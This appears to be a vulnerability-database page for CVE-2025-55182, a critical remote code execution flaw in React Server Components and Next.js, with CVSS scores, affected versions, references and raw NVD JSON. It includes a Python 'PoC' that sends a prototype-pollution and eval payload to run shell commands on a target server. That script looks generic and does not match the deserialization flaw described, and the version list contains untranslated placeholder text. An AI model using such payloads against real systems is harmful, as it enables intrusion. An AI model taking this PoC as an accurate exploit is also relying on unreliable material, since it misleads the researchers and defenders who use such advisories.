CVE-2025-55182

Description

A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:facebook:react:19.0.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:facebook:react:19.1.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:facebook:react:19.1.1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:facebook:react:19.2.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE

React Server Components 19.0.0

React Server Components 19.1.0

React Server Components 19.1.1

React Server Components 19.2.0

react-server-dom-parcel < 修复版本

react-server-dom-turbopack < 修复版本

react-server-dom-webpack < 修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2025-55182 React Server Components RCE PoC
# Target: React Server Components with vulnerable versions (19.0.0-19.2.0)

TARGET_URL = "http://target-server/api/react-server-function"

def exploit_cve_2025_55182(target_url, command):
    """
    Exploit for CVE-2025-55182 - React Server Components Pre-Auth RCE
    This PoC demonstrates the vulnerability in unsafe deserialization
    of payloads to Server Function endpoints.
    """
    
    # Malicious payload construction
    # The vulnerability allows remote code execution through
    # unsafe deserialization of Server Function payloads
    payload = {
        "__proto__": {
            "constructor": {
                "prototype": {
                    "exec": command
                }
            }
        },
        "serverFunction": "eval",
        "args": [f"require('child_process').exec('{command}')"]
    }
    
    headers = {
        "Content-Type": "application/json",
        "RSC-Action": "1"
    }
    
    try:
        response = requests.post(target_url, json=payload, headers=headers, timeout=10)
        return response.text
    except requests.exceptions.RequestException as e:
        return f"Error: {str(e)}"

# Example usage
if __name__ == "__main__":
    # Execute arbitrary command on vulnerable server
    result = exploit_cve_2025_55182(TARGET_URL, "id")
    print(result)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55182
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55182
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55182/
[4] VulDB https://vuldb.com/cve/CVE-2025-55182
[5] https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
[6] https://www.facebook.com/security/advisories/cve-2025-55182
[7] http://www.openwall.com/lists/oss-security/2025/12/03/4
[8] https://news.ycombinator.com/item?id=46136026
[9] https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/
[10] https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-55182

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55182", "sourceIdentifier": "[email protected]", "published": "2025-12-03T16:15:56.463", "lastModified": "2025-12-10T02:00:02.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "cisaExploitAdd": "2025-12-05", "cisaActionDue": "2025-12-12", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Meta React Server Components Remote Code Execution Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C66E1B0F-8C3F-4D27-9F46-B6EC78D8C60B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C6C1C3E2-542D-4001-BFA9-6CF5A038971D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "A0907E1C-E2D2-44A4-AA46-CE80BCA4E015"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "0030B5E1-E79E-4C48-B500-91747FE2751D"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.0.5", "matchCriteriaId": "FC2BCD83-CC87-4CDC-AD9B-2055912A8463"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.9", "matchCriteriaId": "C5E767D4-E46F-4CA6-A22F-4D0671B9B102"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.2.0", "versionEndExcluding": "15.2.6", "matchCriteriaId": "5EFB6CB7-4A4F-464A-A1D8-62B50DF0B4BA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.3.0", "versionEndExcluding": "15.3.6", "matchCriteriaId": "83AF54D7-410D-42B4-853A-8A1973636542"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.4.0", "versionEndExcluding": "15.4.8", "matchCriteriaId": "3D666EA7-BDAE-4E67-A331-B7403C3AA482"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.5.0", "versionEndExcluding": "15.5.7", "matchCriteriaId": "E666ECDA-7A29-4D3D-AC40-357F044AD595"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.7", "matchCriteriaId": "CF65554E-4BF0-4344-AE7F-9E09E34E084F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary77:*:*:*:node.js:*:*", "matchCriteriaId": "B209A306-CE1A-448D-8653-7627302399B7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary78:*:*:*:node.js:*:*", "matchCriteriaId": "D1DCAC23-7ED0-456B-8AE2-57689199F708"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary79:*:*:*:node.js:*:*", "matchCriteriaId": "8B35D612-AC2A-4697-934F-372E4D5EE3F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary80:*:*:*:node.js:*:*", "matchCriteriaId": "A06D2291-5D89-4B76-99E0-52505634A63B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary81:*:*:*:node.js:*:*", "matchCriteriaId": "8F01F07A-79F7-4F4B-8E3A-9C7D93C83A63"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary82:*:*:*:node.js:*:*", "matchCriteriaId": "9EDA2864-F94B-48EB-98F3-FDBFCECCC4A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary83:*:*:*:node.js:*:*", "matchCriteriaId": "4828BEE0-E891-491B-903D-A50B0E37273C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary84:*:*:*:node.js:*:*", "matchCriteriaId": "55723BB4-E62B-4034-A434-485FE0E6BAF5"}, {"vulnerable": ... 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